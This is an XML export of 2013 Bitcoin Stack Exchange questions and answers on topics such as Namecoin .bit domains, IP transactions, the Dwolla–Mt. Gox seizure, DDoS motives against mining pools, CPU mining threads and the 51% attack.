  <row Id="10910" PostTypeId="2" ParentId="10906" CreationDate="2013-05-14T17:25:53.233" Score="5" Body="&lt;p&gt;.bit domains are not recognized by &lt;a href=&quot;http://en.wikipedia.org/wiki/ICANN&quot;&gt;ICANN&lt;/a&gt;, the company that runs the main internet DNS. This means that most operating systems have no support for them built-in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to be able to visit .bit domains, you will have to do some &lt;a href=&quot;http://dot-bit.org/How_To_Browse_Bit_Domains&quot;&gt;configuration&lt;/a&gt; first. You basically need to let your computer know where to search for the IP address translation of the .bit domain, as most computers head over to ICANN's DNS servers for doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering the reliability of the network, that's not easy to measure. I'd suggest you look at the number of clients connected to the Namecoin network (I cannot find a reference for that.) and the amount and speed of the available DNS proxies. On the &lt;a href=&quot;http://dot-bit.org/How_To_Browse_Bit_Domains&quot;&gt;page&lt;/a&gt; I just mentioned, you can see that a decent number of DNS proxies exist for Namecoin. I have no experience with using them. Considering you choose one that is close to your physical location, I'd guess they are fast enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the amount of available domains, I think the .bit TLD is not quite adopted yet. But you can see on the &lt;a href=&quot;http://explorer.dot-bit.org/nbn=30/fromn=0&quot;&gt;Namecoin explorer&lt;/a&gt; page that new addresses are added at a fast pace. &lt;a href=&quot;http://dot-bit.org/Websites&quot;&gt;Here&lt;/a&gt; you can find a list with some popular .bit addresses.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-14T18:38:35.447" LastActivityDate="2013-05-14T18:38:35.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10911" PostTypeId="2" ParentId="10894" CreationDate="2013-05-14T17:51:54.510" Score="0" Body="&lt;p&gt;If you're the only person using the pool server, it doesn't matter how many shares you have -- all the profits are yours. Who would you be sharing them with?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-14T17:51:54.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10912" PostTypeId="1" AcceptedAnswerId="10914" CreationDate="2013-05-14T19:00:26.607" Score="5" ViewCount="279" Body="&lt;p&gt;Besides sending BitCoins using wallet addresses, there used to be another way, through IP transactions &lt;a href=&quot;https://en.bitcoin.it/wiki/IP_Transactions&quot; rel=&quot;nofollow&quot;&gt;as described in the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The disadvantages were obvious (man-in-middle attacks etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, were there &lt;em&gt;any&lt;/em&gt; benefits (to the individual or to the &lt;em&gt;whole system&lt;/em&gt;) in using IP transactions?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="153" LastEditDate="2013-05-15T10:25:46.287" LastActivityDate="2013-05-15T10:25:46.287" Title="What were IP transactions supposed to be useful for?" Tags="|transactions|protocol|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10913" PostTypeId="2" ParentId="10912" CreationDate="2013-05-14T19:15:32.093" Score="1" Body="&lt;p&gt;It's not safe, so you should not use it.&#xA;But you are asking about a possible applications...&#xA;You could, for instance, integrate IP payments with a bit torrent client, so the people who send you the most of the data would get an incentive for the service they provide you with.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-14T19:15:32.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10914" PostTypeId="2" ParentId="10912" CreationDate="2013-05-14T19:15:45.023" Score="5" Body="&lt;p&gt;First, it needs mentioning that &lt;strong&gt;this functionality has already been removed from the original Bitcoin client&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/253&quot;&gt;GitHub pull request&lt;/a&gt; removing this functionality that has been accepted 2 years ago. The wiki page you refer to seems outdated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The only known use for IP transactions I could find is the one &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/253#issuecomment-1593259&quot;&gt;mentioned&lt;/a&gt; in the pull request by &lt;a href=&quot;https://github.com/gmaxwell&quot;&gt;gmaxwell&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Aww. The removal of this would mean we can't run a lottery for nodes running the most recent version of bitcoin as an incentive to make people upgrade. :)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another use I can come up with myself would be that you could use the DNS system to create a human-readable address to your IP and use that as your payment address. F.e. I could use &lt;code&gt;bitcoin.stevenroose.be&lt;/code&gt; and put the IP address of the computer running my Bitcoin client in the DNS table for that record. I could then tell people to send bitcoins to that address. However, this method would require a PC to be permanently running and connected to the network in order to be able to receive bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="1307" LastEditDate="2013-05-14T19:45:51.610" LastActivityDate="2013-05-14T19:45:51.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10915" PostTypeId="1" AcceptedAnswerId="10917" CreationDate="2013-05-14T19:20:33.010" Score="3" ViewCount="375" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses#How_to_create_Bitcoin_Address&quot; rel=&quot;nofollow&quot;&gt;algorithm&lt;/a&gt; to get the public key and the address from a private key consists of a few steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which of the intermediate keys is used to sign transactions with? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, there can exist two different private keys that resolve to the same address or public key. Can both be used for signing transactions spending outputs assigned to that address?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-14T19:34:44.433" Title="Do all private keys that are resolved to the same address give access to the bitcoins on this address?" Tags="|transactions|address|message-signing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10916" PostTypeId="1" AcceptedAnswerId="10932" CreationDate="2013-05-14T19:24:55.303" Score="4" ViewCount="266" Body="&lt;p&gt;I recently found an &lt;a href=&quot;https://en.bitcoin.it/wiki/IP_Transactions&quot; rel=&quot;nofollow&quot;&gt;error&lt;/a&gt; on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki&lt;/a&gt;, when I noticed that I could not edit it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made an account a long time ago, so I logged into it, but still I am not able to edit pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? A wiki is supposed to be community-driven.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Who does have access to the wiki pages?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2015-04-06T23:04:32.430" Title="Why is the Bitcoin Wiki protected against editing?" Tags="|bitcoin-wiki|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10917" PostTypeId="2" ParentId="10915" CreationDate="2013-05-14T19:34:44.433" Score="3" Body="&lt;p&gt;Yes. And it's pretty easy to understand why, without even mentioning anything about the underlying technologies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;bitcoin:&lt;/code&gt; URL only contains the address of the recipient. The address does not need any previous transactions in the blockchain to resolve to a public key, so we can deduct that a bitcoin URL has the full public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you spend bitcoins from an address, all that is publicly known is the public key for that address. And since we just established that the address is basically the public key, we can conclude that any private key that resolves to a certain public key will have access to that address.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In other words: when you send BTC to an address, all the client knows is the address where it's going, which means that it cannot store anything else about the recipient (since it doesn't know anything else). Since only the address is stored, any private key that resolves to that address will have access to the bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It should be pointed out that not all transactions are sent directly to an address, and there are exceptions to my logic here. But for 99% of all transactions the above applies&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-05-14T19:34:44.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10918" PostTypeId="1" CreationDate="2013-05-14T19:45:35.703" Score="9" ViewCount="2498" Body="&lt;p&gt;In other words: &lt;em&gt;who has incentives for attacking pools?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think it's the government?&lt;/p&gt;&#xA;" OwnerUserId="4864" LastActivityDate="2013-12-13T11:10:55.957" Title="Why do pools get so often DDoS attacked?" Tags="|mining-pools|attack|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10920" PostTypeId="2" ParentId="10918" CreationDate="2013-05-14T19:58:23.467" Score="11" Body="&lt;p&gt;There are several groups of people that could have incentives to DDoS mining pools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Owners of other mining pools&lt;/strong&gt;. Mining pools make profit from the blocks mined by their miners. So it would make perfect sense for them to attack other pools to encourage users to abandon the pool and perhaps find a new home at theirs.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;People mining at other pools, including their owners&lt;/strong&gt;. When a miner is mining for a pool that has issues, chances are high their shares get lost. This means that chances exist that the pool under attack will no longer be able to find blocks and so the hash power of its users is lost, causing new blocks to be found less frequently. This can be advantageous to people mining at other pools because this will result in the difficulty being lowered, giving them a higher chance of finding blocks. (And again, as more blocks are found by another pool, the pool owner makes more profit.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Opposers of Bitcoin&lt;/strong&gt;. This doesn't only need to be &lt;strong&gt;governments&lt;/strong&gt;, but can also include &lt;strong&gt;banks&lt;/strong&gt; and &lt;strong&gt;payment processors&lt;/strong&gt; like PayPal, Visa or MasterCard. Bitcoin is very innovative as a payment option and has the potential to take over a significant part of the online payment industry. Also, Bitcoin abolishes the centralized concept of money, from which banks make profit. So they all have reasons not wanting to see Bitcoin succeed as a successful currency and payment method.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1307" LastEditorDisplayName="user6049" LastEditDate="2013-12-13T11:10:55.957" LastActivityDate="2013-12-13T11:10:55.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10921" PostTypeId="2" ParentId="10918" CreationDate="2013-05-14T20:12:37.207" Score="-1" Body="&lt;p&gt;I believe the main reason is competition.&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2013-05-14T20:12:37.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10922" PostTypeId="1" AcceptedAnswerId="10923" CreationDate="2013-05-14T20:18:11.580" Score="1" ViewCount="448" Body="&lt;p&gt;When paying with Bitcoins how does that affect the price of the service or item? For example If I buy something that costs 20 CAD using Bitcoins and the exchange rate is 1 CAD = 0.01 BTC does that simply mean I pay 0.20 BTC? I'm not very knowledgeable about currency exchange to begin with. If the value of the Canadian dollar goes up and 1 CAD = 0.02 BTC then I would've lost money if I had did the exchange at the lower rate, is that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take &lt;a href=&quot;https://www.privateinternetaccess.com/pages/buy-vpn/&quot; rel=&quot;nofollow&quot;&gt;Privateinternetaccess&lt;/a&gt; for example. They have an option to pay in Bitcoins but doesn't say how much?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="1307" LastEditDate="2013-05-14T20:20:14.517" LastActivityDate="2013-05-14T20:27:00.193" Title="How do you know how much a product costs in Bitcoins?" Tags="|payment|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10923" PostTypeId="2" ParentId="10922" CreationDate="2013-05-14T20:27:00.193" Score="3" Body="&lt;p&gt;Most websites that accept bitcoins for goods or services work with a service that automatically exchanges the bitcoins they receive for dollars. For that reason, they also use the current exchange rate to calculate the price in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, when you want to buy a 10 CAD item for bitcoins, the website will calculate how much bitcoins that is and ask you to pay that amount of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes, when you hold bitcoins, the price you pay in CAD can vary as the CAD/BTC rate changes.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-14T20:27:00.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10924" PostTypeId="1" CreationDate="2013-05-14T21:27:02.070" Score="14" ViewCount="4839" Body="&lt;p&gt;I received the following after trying to make a USD deposit to Mt. Gox from Dwolla today.  Does anyone know more information about this or if the court order may apply to other methods of deposit/withdraw?  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of 12:13 PM on 5/14/2013: &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You’re receiving this notice because our systems have indicated that&#xA;  you’ve processed and completed a real-time Dwolla-to-Dwolla payment to&#xA;  Mutum Sigillum LLC (“Mt. Gox”) within the last 24 hours. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Due to recent court orders received from the Department of Homeland&#xA;  Security and U.S. District Court for the District of Maryland, Dwolla&#xA;  is no longer legally able to service Mutum Sigillum LLC’s account. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is a courtesy email encouraging you to follow up on any&#xA;  uncompleted orders with Mutum Sigillum LLC as Dwolla is now unable to&#xA;  move money to and from Mutum Sigillum LLC’s Dwolla account. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Dwolla is not party to this matter nor does it have any information or&#xA;  further insight into the situation. We strongly encourages those with&#xA;  questions to contact Mutum Sigillum LLC &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Note: Dwolla requires a court order before honoring requests such as&#xA;  seizing funds or revoking access to an account. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;On behalf of Dwolla, we apologize for this inconvenience.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I got back thus far after contacting Mt. Gox to ask about the situation. Looks like they will make a formal announcement about it:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Hello,&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thank you for the email. We can see that the Dwolla transactions are&#xA;  not getting processed right now. We will contact Dwolla and post an&#xA;  announcement regarding this. Your patience is appreciated till then.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Thanks, MtGox.com Team&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The balance that I transferred in on the morning of 05/14 was added to my MtGox account that evening, so it appears they are still honoring the transfers that went through before the lockdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;&lt;strong&gt;Update 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;https://mtgox.com/press_release_20130515.html&quot;&gt;current statement from Mt. Gox&lt;/a&gt; (still waiting for the real reason for the court order):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;TOKYO - JAPAN - May 15, 2013 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MtGox has read on the Internet that the United States Department of Homeland Security had a court order and/or warrant issued from the United States District Court in Maryland which it served upon the Dwolla mobile payment service with respect to accounts used for trading with MtGox. MtGox takes this information seriously. However, as of this time MtGox has not been provided with a copy of the court order and/or warrant and does not know its scope and/or the reasons for its issuance. MtGox is investigating and will provide further reports when additional information becomes known.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Regards&#xA;  Mt.Gox Co. Ltd Team.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="3027" LastEditDate="2013-05-15T14:52:08.717" LastActivityDate="2013-05-16T16:54:37.003" Title="Why can't Dwolla send to Mt Gox?" Tags="|mtgox|dwolla|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10925" PostTypeId="2" ParentId="10924" CreationDate="2013-05-14T21:59:00.093" Score="4" Body="&lt;p&gt;Quoted from &lt;a href=&quot;https://bitcointalk.org/index.php?topic=205370.msg2147385#msg2147385&quot; rel=&quot;nofollow&quot;&gt;BitcoinTalk&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of 12:13pm on 5/14/2013, the U.S. District Court for the District&#xA;  of Maryland issued a &quot;Seizure Warrant&quot; for the funds associated with&#xA;  Mutum Sigilum's Dwolla account (a.k.a. Mt. Gox). In light of this&#xA;  court order, procured by the Department of Homeland Security, Dwolla&#xA;  has ceased all account activities associated with Dwolla services for&#xA;  Mutum Sigilum.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the outcome looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Holders of dollars at MtGox will buy as many btc as possible and remove them from MtGox, because there's no other escape for their dollars&lt;/li&gt;&#xA;&lt;li&gt;Holders of btc at MtGox will presumably send them elsewhere because selling them for dollars doesn't make sense if you can't get the dollars out (although perhaps it still makes sense for euros/pounds/yen etc)&lt;/li&gt;&#xA;&lt;li&gt;There is a loss of liquidity at Gox from all the btc being pulled from there&lt;/li&gt;&#xA;&lt;li&gt;The dollar price at other exchanges starts falling because they are still exit points for dollars&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Most of the trading volume is in dollars at Gox if I'm not mistaken, so this might be the death blow for them. Although given their history of incompetence, it was kind of sad the network effect was protecting them. Perhaps a phoenix will rise from the ashes.&lt;/p&gt;&#xA;" OwnerUserId="4799" LastEditorUserId="1307" LastEditDate="2013-05-14T22:57:47.910" LastActivityDate="2013-05-14T22:57:47.910" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10926" PostTypeId="2" ParentId="5105" CreationDate="2013-05-14T22:20:17.630" Score="1" Body="&lt;p&gt;Apple 10.7 hides the Users Library folder (where bitcoins saves its stuff), it's there, just not visible. Open terminal and enter&#xA;chflags nohidden ~/Library&#xA;to make it visible. &lt;/p&gt;&#xA;" OwnerUserId="5031" LastActivityDate="2013-05-14T22:20:17.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10927" PostTypeId="2" ParentId="10912" CreationDate="2013-05-14T23:08:08.210" Score="2" Body="&lt;p&gt;IP transactions have been disabled for a long time, and since 0.8 even removed entirely from the source code. The reason was mostly security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is now work on a &lt;a href=&quot;https://gist.github.com/gavinandresen/4120476&quot; rel=&quot;nofollow&quot;&gt;payment protocol&lt;/a&gt;, which is a much more advanced evolution of IP transactions, with built-in (but optional) authentication support.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-14T23:08:08.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10929" PostTypeId="2" ParentId="5105" CreationDate="2013-05-15T00:00:59.200" Score="0" Body="&lt;p&gt;You can also use the Finder to access the folder Bitcoin-Qt stores the blockchain and its other files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the &lt;strong&gt;Go&lt;/strong&gt; menu; pick &lt;strong&gt;Go To Folder…&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;type &lt;code&gt;~/Library/Application Support/Bitcoin/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;press Return&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="593" LastActivityDate="2013-05-15T00:00:59.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10930" PostTypeId="2" ParentId="10924" CreationDate="2013-05-15T00:03:43.480" Score="13" Body="&lt;p&gt;Mutum Sigillum LLC was the legal entity that Mt. Gox used for transferring funds using account-to-account transfers and for adding to (and withdrawing from) their account using bank funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mutum Sigillum LLC is not registered as a money transmitter in any states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may not even be registered as a Money Service Business (MSB) through FinCEN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FinCEN provided guidance that those exchanging &quot;virtual currencies&quot; (which they misapply, but intend to refer also to Bitcoin) for dollars are money transmitters and required to register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This action by the DHS may be related to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it could be related to the Bitcoinica lawsuit in which Mt. Gox is holding funds of Bitcoinica customers that the court-appointed liquidator in New Zealand has requested access to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it could be related to any number of additional factors, including a single illicit transaction in which the funds traveled through Mt. Gox, who knows.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-15T00:03:43.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10931" PostTypeId="1" CreationDate="2013-05-15T00:13:48.600" Score="5" ViewCount="35556" Body="&lt;p&gt;(I guess this question in principle applies likewise to Bitcoin, but given how un-profitable CPU mining of Bitcoin seems to be, this question actually arose with regards to Yacoin mining).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using the AVX version of the 64-bit Windows miner whose link can be found on &lt;a href=&quot;http://www.yacoin.org/&quot;&gt;Yacoin's homepage&lt;/a&gt;.  As with all forks of minerd, you can specify how many threats minerd should use for mining.  It seems as if the default number it uses is the number of logical processors, which in my case happens to be 8.  I've tried playing around with this value, however, and it seems that playing around with the number of threads can significantly &lt;em&gt;increase&lt;/em&gt; my hash-rate (of course it can also decrease it).  I guess this came as a bit of a surprise as I just assumed that the default thread count would have been the most efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the variable of how many workers I have running on the pool (in my case, yac.coinmine.pl) and how many processes of minerd I am running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that there are various combinations of process count / thread count I could play around with to try to find the most efficient combination, but before I figured I'd spend the time playing with these various possibilities, it would be easier to just ask someone who has a better idea of how this actually works:  Is there any reason it would be beneficial to run 8 instances of minerd with 1 thread each vs 1 instance of minerd with 8 threads each?  Perhaps in principle there shouldn't be, but because I'm mining in a pool the fact that separate instances require separate workers makes a difference?  What should be an ideal thread count and why should this actually be an efficient thread count to use?  For example, using 16 threads seems to improve my hash-rate over that of just using 8, but doubling again to 32 threads seems to lower the hash-rate again.  Why would this be the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a separate but related question, why does my hash-rate seem to slow the longer the miner runs?&lt;/p&gt;&#xA;" OwnerUserId="4035" LastEditorUserId="5406" LastEditDate="2016-04-17T18:55:33.743" LastActivityDate="2017-11-28T21:56:50.607" Title="CPU Mining: Optimal Number of Threads" Tags="|mining-pools|miner-configuration|cpu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10932" PostTypeId="2" ParentId="10916" CreationDate="2013-05-15T00:41:32.207" Score="5" Body="&lt;p&gt;To prevent vandalism and spam. You can gain edit access by &lt;a href=&quot;https://en.bitcoin.it/wiki/BitcoinPayment&quot; rel=&quot;nofollow&quot;&gt;making a payment&lt;/a&gt; (in bitcoins, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The payment required is (at least) 0.001 BTC, which is actually no longer trivially small in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BitcoinPayment is a MediaWiki extension to limit spam, by requiring a&#xA;  small one-time bitcoin payment before a user is allowed to edit or&#xA;  create pages.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;While the payment is deliberately trivially small for a normal user,&#xA;  it presents a barrier to a mass-spammer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Funds sent to this wiki will be used to keep the wiki online (cost of&#xA;  domain name and hosting), and remaining funds will be donated to the&#xA;  Bitcoin Foundation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="516" LastEditorUserId="2306" LastEditDate="2015-04-06T23:04:32.430" LastActivityDate="2015-04-06T23:04:32.430" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10934" PostTypeId="1" CreationDate="2013-05-15T02:09:30.793" Score="2" ViewCount="544" Body="&lt;p&gt;I want to mine alternate coins. I am looking for pools that support many of the coins here so I do not have to keep changing pools.&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="132" LastEditDate="2013-12-23T14:34:05.257" LastActivityDate="2013-12-23T14:34:05.257" Title="What pool catters to multiple alternate currency?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-23T15:15:52.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="10936" PostTypeId="1" AcceptedAnswerId="10937" CreationDate="2013-05-15T06:43:02.747" Score="11" ViewCount="1282" Body="&lt;p&gt;Is it 51% attack or 50.0000...1% attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is getting to a point where 1% is a lot of hashing power...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is &gt;50% due to the nature of the protocol.&lt;/p&gt;&#xA;" OwnerUserId="5039" LastEditorUserId="68377" LastEditDate="2017-12-11T23:01:46.310" LastActivityDate="2017-12-11T23:01:46.310" Title="Is it a 51% attack or a &gt;50% attack?" Tags="|security|majority-attack|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10937" PostTypeId="2" ParentId="10936" CreationDate="2013-05-15T08:12:14.073" Score="8" Body="&lt;p&gt;When performing a &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot;&gt;51% attack&lt;/a&gt;, you will need to find new blocks faster than the remainder of the network combined. This way, your block chain will become the longest and clients will consider it the main chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, this is achieved (on long term) when you have &gt;50% of the hash power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as we know, a lot of luck is involved in mining. It's possible that someone with 55% or even 60% of the total hash power will only succeed in his 51% attack after many weeks because he has bad luck. (Note that with &gt;50%, statistically you will always succeed on long term.) But it is also possible that someone with less than 50% can succeed on short term.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-05-15T08:12:14.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10938" PostTypeId="1" AcceptedAnswerId="10942" CreationDate="2013-05-15T09:53:41.987" Score="6" ViewCount="4200" Body="&lt;p&gt;Would a &lt;a href=&quot;http://en.wikipedia.org/wiki/D-Wave_Systems&quot; rel=&quot;nofollow&quot;&gt;D-Wave&lt;/a&gt; 2 with 512 qbits be faster than the fastest ASIC when mining bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="5406" LastEditDate="2016-04-17T18:54:18.190" LastActivityDate="2016-04-17T18:54:18.190" Title="Can quantum computing improve Bitcoin mining?" Tags="|mining-hardware|hashpower|quantum-computing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10940" PostTypeId="2" ParentId="10863" CreationDate="2013-05-15T13:49:26.587" Score="3" Body="&lt;p&gt;The client &lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt; seems to support something like that (using a different method): &lt;a href=&quot;http://electrum.org/bitcoin_URIs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Aliases&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Aliases may be server names (e.g. &lt;code&gt;ecdsa.org&lt;/code&gt;) or email-like addresses (e.g. &lt;code&gt;john.doe@ecdsa.org&lt;/code&gt;)&lt;br /&gt;&#xA;The corresponding Bitcoin address is retrieved by the client, using a descriptor located at a canonical url.&lt;/p&gt;&#xA;&lt;p&gt;Aliases may be entered in the Electrum client, or used in Bitcoin URIs […]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4975" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-05-15T13:49:26.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
